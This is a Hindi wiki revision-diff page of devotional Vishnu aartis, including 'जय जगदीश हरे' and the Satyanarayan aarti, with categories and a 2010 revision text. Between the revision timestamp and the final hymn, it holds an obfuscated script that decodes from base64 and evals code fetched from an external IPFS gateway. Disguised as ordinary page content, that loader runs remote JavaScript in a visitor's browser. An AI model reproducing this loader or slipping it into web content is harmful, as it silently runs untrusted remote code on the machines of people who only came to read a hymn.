"विष्णु की आरती" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> ==श्री विष्णु-वन्दना== सशंखचक्रं सकिरीटकुण्डलं<br /> सपीतवस्त...)
 
 
(५ सदस्यों द्वारा किये गये बीच के ८ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}
==श्री विष्णु-वन्दना==
+
==श्री विष्णु भगवान की आरती==
 +
*[[विष्णु]] जी की पूजा के समय यह [[आरती पूजन|आरती]] की जाती है।
 +
<poem>जय जगदीश हरे, प्रभु! जय जगदीश हरे।
 +
भक्तजनों के संकट, छन में दूर करे॥ \ जय ..
 +
जो ध्यावै फल पावै, दु:ख बिनसै मनका।
 +
सुख सम्पत्ति घर आवै, कष्ट मिटै तनका॥ \ जय ..
 +
मात-पिता तुम मेरे, शरण गहूँ किसकी।
 +
तुम बिन और न दूजा, आस करूँ जिसकी॥ \ जय ..
 +
तुम पूरन परमात्मा, तुम अंतर्यामी।
 +
पार ब्रह्म परमेश्वर, तुम सबके स्वामी॥ \ जय ..>
 +
तुम करुणा के सागर, तुम पालनकर्ता।
 +
मैं मुरख खल कामी, कृपा करो भर्ता॥ \ जय ..
 +
तुम हो एक अगोचर, सबके प्राणपति।
 +
किस विधि मिलूँ दयामय, तुमको मैं कुमती॥ \ जय ..
 +
दीनबन्धु, दु:खहर्ता तुम ठाकुर मेरे।
 +
अपने हाथ उठाओ, द्वार पडा तेरे॥ \ जय ..
 +
विषय विकार मिटाओ, पाप हरो देवा।
 +
श्रद्धा-भक्ति बढाओ, संतन की सेवा॥ \ जय ..
 +
जय जगदीश हरे, प्रभु! जय जगदीश हरे।
 +
मायातीत, महेश्वर मन-वच-बुद्धि परे॥ जय..
 +
आदि, अनादि, अगोचर, अविचल, अविनाशी।
 +
अतुल, अनन्त, अनामय, अमित, शक्ति-राशि॥ जय..
 +
अमल, अकल, अज, अक्षय, अव्यय, अविकारी।
 +
सत-चित-सुखमय, सुन्दर शिव सत्ताधारी॥ जय..
 +
विधि-हरि-शंकर-गणपति-सूर्य-शक्तिरूपा।
 +
विश्व चराचर तुम ही, तुम ही विश्वभूपा॥ जय..
 +
माता-पिता-पितामह-स्वामि-सुहृद्-भर्ता।
 +
विश्वोत्पादक पालक रक्षक संहर्ता॥ जय..
 +
साक्षी, शरण, सखा, प्रिय प्रियतम, पूर्ण प्रभो।
 +
केवल-काल कलानिधि, कालातीत, विभो॥ जय..
 +
राम-कृष्ण करुणामय, प्रेमामृत-सागर।
 +
मन-मोहन मुरलीधर नित-नव नटनागर॥ जय..
 +
सब विधि-हीन, मलिन-मति, हम अति पातकि-जन।
 +
प्रभुपद-विमुख अभागी, कलि-कलुषित तन मन॥ जय..
 +
आश्रय-दान दयार्णव! हम सबको दीजै।
 +
पाप-ताप हर हरि! सब, निज-जन कर लीजै॥ जय..</poem>
  
सशंखचक्रं सकिरीटकुण्डलं<br />
 
सपीतवस्त्रं सरसीरुहेक्षणम्।<br />
 
सहारवक्ष:स्थलकौस्तुभश्रियं<br />
 
नमामि विष्णुं शिरसा चतुर्भुजम्।।<br />
 
==भगवान श्री सत्यनारायण जी की आरती==
 
  
जय लक्ष्मी रमणा, श्री लक्ष्मी रमणा।<br />
 
सत्यनारायण स्वामी जन-पातक-हरणा।।जय.।।टेक।।<br />
 
  
रत्नजटित सिंहासन अद्भुत छबि राजै।<br />
 
नारद करत निराजन घंटा ध्वनि बाजै।।जय.।।<br />
 
  
प्रकट भये कलि कारण, द्विज को दरस दियो।<br />
+
[[Category: कोश]]
बूढ़े ब्राह्मण बनकर कंचन-महल कियो।।जय.।।<br />
+
[[Category:भगवान-अवतार]]
 
+
[[Category:भक्ति]] [[Category:आरती संग्रह]]
दुर्बल भील कठारो, जिनपर कृपा करी।<br />
 
चन्द्रचूड़ एक राजा, जिनकी बिपति हरी।।जय.।।<br />
 
 
 
वैश्य मनोरथ पायो, श्रद्धा तज दीन्हीं।<br />
 
सो फल भोग्यो प्रभुजी फिर अस्तुति कीन्हीं।।जय.।।<br />
 
 
 
भाव-भक्ति के कारण छिन-छिन रूप धरयो।<br />
 
श्रद्धा धारण कीनी, तिनको काज सरयो।।जय.।।<br />
 
 
 
ग्वाल-बाल सँग राजा वन में भक्ति करी।<br />
 
मनवांछित फल दीन्हों दीनदयालु हरी।।जय.।।<br />
 
 
 
चढ़त प्रसाद सवायो कदलीफल, मेवा।<br />
 
धूप-दीप-तुलसी से राजी सत्यदेवा।।जय.।।<br />
 
 
 
(सत्य) नारायणजी की आरती जो कोई नर गावै।<br />
 
तन-मन-सुख-सम्पत्ति मन-वांछित फल पावै।।जय.।।<br />
 
ि==सर्वरूप हरि-वन्दन==
 
यं शैवा: समुपासते शिव इति ब्रह्मेति वेदान्तिनो<br />
 
बौद्धा बुद्ध इति प्रमाणपटव: कर्तेति नैयायिका:।<br />
 
अर्हन्नित्यथ जैनशासनरता: कर्मेति मीमांसका:<br />
 
सोऽयं लो विदधातु वांछितफलं त्रैलोक्यनाथो हरि:।।<br />
 
==भगवान जगदीश्वर की आरती==
 
 
 
 
 
 
 
ॐ जय जगदीश हरे, प्रभु ! जय जगदीश हरे।।<br />
 
भक्त जनों के संकट छिन में दूर करे।।ॐ।।<br />
 
 
 
जो ध्यावै फल पावै, दु:ख विनसै मनका।।प्रभु.।।<br />
 
सुख-सम्पत्ति घर आवै, कष्ट मिटै तनका।।ॐ।।<br />
 
 
 
मात-पिता तुम मेरे, शरण गहूँ मैं किसकी।।प्रभु।।<br />
 
तुम बिन और न दूजा, आस करूँ जिसकी।।ॐ।।<br />
 
 
 
तुम पूरन परमात्मा, तुम अन्तर्यामी।।प्रभु।।<br />
 
पार ब्रह्म परमेश्वर, तुम सबके स्वामी।।ॐ।।<br />
 
 
 
तुम करुणा के सागर तुम पालन-कर्ता।।प्रभु।।<br />
 
मैं मूरख खल कामी, कृपा करो भर्ता।।ॐ।।<br />
 
 
 
तुम हो एक अगोचर, सबके प्राणपति।।प्रभु।।<br />
 
किस बिधि मिलूँ दयामय ! मैं तुमको कुमती।।ॐ।।<br />
 
 
 
दीनबन्धु दुखहर्ता तुम ठाकुर मेरे।।प्रभु।।<br />
 
अपने हाथ उठाओ, द्वार पड़ा तेरे।।ॐ।।<br />
 
 
 
विषय-विकार मिटाओ, पाप हरो देवा।।प्रभु।।<br />
 
श्रद्धा-भक्ति बढ़ाओ, संतन की सेवा।।ॐ।।<br />
 
 
 
 
 
 
 
[[श्रेणी: कोश]]
 
[[category:भगवान-अवतार]]
 
[[category:भक्ति]]
 
 
__INDEX__
 
__INDEX__

०३:३४, १९ मई २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

श्री विष्णु भगवान की आरती

जय जगदीश हरे, प्रभु! जय जगदीश हरे।
भक्तजनों के संकट, छन में दूर करे॥ \ जय ..
जो ध्यावै फल पावै, दु:ख बिनसै मनका।
सुख सम्पत्ति घर आवै, कष्ट मिटै तनका॥ \ जय ..
मात-पिता तुम मेरे, शरण गहूँ किसकी।
तुम बिन और न दूजा, आस करूँ जिसकी॥ \ जय ..
तुम पूरन परमात्मा, तुम अंतर्यामी।
पार ब्रह्म परमेश्वर, तुम सबके स्वामी॥ \ जय ..>
तुम करुणा के सागर, तुम पालनकर्ता।
मैं मुरख खल कामी, कृपा करो भर्ता॥ \ जय ..
तुम हो एक अगोचर, सबके प्राणपति।
किस विधि मिलूँ दयामय, तुमको मैं कुमती॥ \ जय ..
दीनबन्धु, दु:खहर्ता तुम ठाकुर मेरे।
अपने हाथ उठाओ, द्वार पडा तेरे॥ \ जय ..
विषय विकार मिटाओ, पाप हरो देवा।
श्रद्धा-भक्ति बढाओ, संतन की सेवा॥ \ जय ..
जय जगदीश हरे, प्रभु! जय जगदीश हरे।
मायातीत, महेश्वर मन-वच-बुद्धि परे॥ जय..
आदि, अनादि, अगोचर, अविचल, अविनाशी।
अतुल, अनन्त, अनामय, अमित, शक्ति-राशि॥ जय..
अमल, अकल, अज, अक्षय, अव्यय, अविकारी।
सत-चित-सुखमय, सुन्दर शिव सत्ताधारी॥ जय..
विधि-हरि-शंकर-गणपति-सूर्य-शक्तिरूपा।
विश्व चराचर तुम ही, तुम ही विश्वभूपा॥ जय..
माता-पिता-पितामह-स्वामि-सुहृद्-भर्ता।
विश्वोत्पादक पालक रक्षक संहर्ता॥ जय..
साक्षी, शरण, सखा, प्रिय प्रियतम, पूर्ण प्रभो।
केवल-काल कलानिधि, कालातीत, विभो॥ जय..
राम-कृष्ण करुणामय, प्रेमामृत-सागर।
मन-मोहन मुरलीधर नित-नव नटनागर॥ जय..
सब विधि-हीन, मलिन-मति, हम अति पातकि-जन।
प्रभुपद-विमुख अभागी, कलि-कलुषित तन मन॥ जय..
आश्रय-दान दयार्णव! हम सबको दीजै।
पाप-ताप हर हरि! सब, निज-जन कर लीजै॥ जय..